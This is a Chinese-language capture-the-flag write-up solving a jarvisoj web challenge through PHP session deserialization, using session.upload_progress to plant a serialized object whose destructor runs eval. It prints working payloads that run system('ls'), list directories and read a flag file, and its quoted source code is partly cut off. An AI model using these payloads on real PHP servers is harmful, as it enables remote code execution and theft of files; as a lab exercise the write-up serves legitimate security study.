哈哈哈,现学现卖。刚刚总结了session序列化漏洞。现在就来做一下这个题目
还是参考师傅博客。
题目地址
mdzz = 'phpinfo();
';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
看代码前面是
ini_set(‘session.serialize_handler’, ‘php’);
肯定要利用这个点。
而我们传递?phpinfo就会出现phpinfo页面
思路是:我们找一个可以利用php_serialize添加session的方法。在通过php的序列化进行解析从而形成漏洞。
这里参考Chybeta师傅的一个姿势:
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。
但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
文章图片
我们就构造上传页面进行上传
#upload.php
#poc.php
#O:5:"OowoO":1:{s:4:"mdzz";
s:13:"system('ls');
";
}
payload:为防止转义,在引号前加上
|O:5:\"OowoO\":1:{s:4:\"mdzz\";
s:13:\"system('ls');
\";
}
【jarvisoj-web的一道SESSION反序列化题目】方法:将filename改成payload
文章图片
失败!可能是禁止用了system函数,我们在phpinfo里面可以看到
文章图片
使用:
print_r(scandir(dirname(__FILE__)));
|O:5:\"OowoO\":1:{s:4:\"mdzz\";
s:36:\"print_r(scandir(dirname(__FILE__)));
\";
}
之后通过phpinfo页面查看当前路径
_SERVER["SCRIPT_FILENAME"]
文章图片
最后使用print_r(file_get_contents());
payload
|O:5:\"OowoO\":1:{s:4:\"mdzz\";
s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));
\";
}
最后获得flag
总结:主要思想
session.upload_progress.enabled为On。session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。
但当一个文件上传时,同时POST一个与php.ini session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS)
PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们由此来设置session。
拓展:这个题的思想一点点像wmctf make php great again
参考
https://blog.csdn.net/nzjdsds/article/details/82703639?utm_source=app